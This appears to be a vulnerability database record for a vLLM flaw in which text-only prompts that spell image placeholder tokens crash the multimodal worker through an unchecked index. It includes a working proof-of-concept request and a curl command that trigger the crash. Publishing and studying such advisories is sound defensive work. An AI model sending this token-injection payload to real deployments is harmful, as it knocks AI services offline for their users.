{"id":"CVE-2026-44222","aliases":["GHSA-hpv8-x276-m59f","PYSEC-2026-3409"],"url":"https://o3.security/vulnerability/CVE-2026-44222","summary":"vLLM: Remote DoS via Special-Token Placeholders","details":"## Summary\nThis report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on `image_grid_thw`/`video_grid_thw` are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.\n\n## Details\n- Affected component: multimodal input position computation.\n- File/functions (paths are indicative):\n  - vllm/model_executor/layers/rotary_embedding.py\n    - get_input_positions_tensor(...)\n    - _vl_get_input_positions_tensor(...)\n- Failure mechanism:\n  - The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.\n  - When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.\n\nRepresentative snippet (context):\n```python\n# vllm/model_executor/layers/rotary_embedding.py\n@classmethod\ndef _vl_get_input_positions_tensor(\n    cls,\n    input_tokens,\n    hf_config,\n    image_grid_thw,\n    video_grid_thw,\n    ...,\n):\n    # detect video tokens\n    video_nums = (vision_tokens == video_token_id).sum()\n    # later in processing\n    t, h, w = (\n        video_grid_thw[video_index][0],  # IndexError if no video data\n        video_grid_thw[video_index][1],\n        video_grid_thw[video_index][2],\n    )\n```\n\nAbbreviated call path:\n```\nOpenAI API request\n → vllm.v1.engine.core: step/execute_model\n → vllm.v1.worker.gpu_model_runner: _update_states/execute_model\n → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor\n → _vl_get_input_positions_tensor\n → IndexError: list index out of range\n```\n\n## PoC\n### Environment\n- vLLM: 0.10.0\n- Model: Qwen/Qwen2.5-VL-3B-Instruct\n- Launch server:\n```bash\npython -m vllm.entrypoints.openai.api_server \\\n  --model Qwen/Qwen2.5-VL-3B-Instruct \\\n  --port 8000\n```\n\n### Request (text-only, no image/video data)\n```bash\ncat > request.json <<'JSON'\n{\n  \"model\": \"Qwen/Qwen2.5-VL-3B-Instruct\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        { \"type\": \"text\",\n          \"text\": \"what's in picture <|vision_start|><|image_pad|><|vision_end|>\" }\n      ]\n    }\n  ]\n}\nJSON\n\ncurl -s http://127.0.0.1:8000/v1/chat/completions \\\n  -H 'Content-Type: application/json' \\\n  --data @request.json\n```\n\n### Observed result\n- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).\n- In some deployments, the worker exits and capacity remains reduced until manual restart.\n\n## Impact\n- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.\n- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).\n- Effect: Request → unhandled exception in position computation → worker termination / service unavailability.\n\n## Fixes\n\n* Changes associated with https://github.com/vllm-project/vllm/issues/32656\n\n## Credits\nPengyu Ding (Infra Security, Ant Group)  \nZiteng Xu (Infra Security, Ant Group)","published":"2026-05-12T19:57:25.336Z","modified":"2026-08-12T03:51:10.958435669Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00414,"percentile":0.35207,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"vllm","fixedVersion":"0.20.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44222.json"},{"type":"ADVISORY","url":"https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44222"},{"type":"REPORT","url":"https://github.com/vllm-project/vllm/issues/32656"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hpv8-x276-m59f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3409.yaml"},{"type":"PACKAGE","url":"https://github.com/vllm-project/vllm"},{"type":"WEB","url":"https://pypi.org/project/vllm"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:10.958435669Z"}}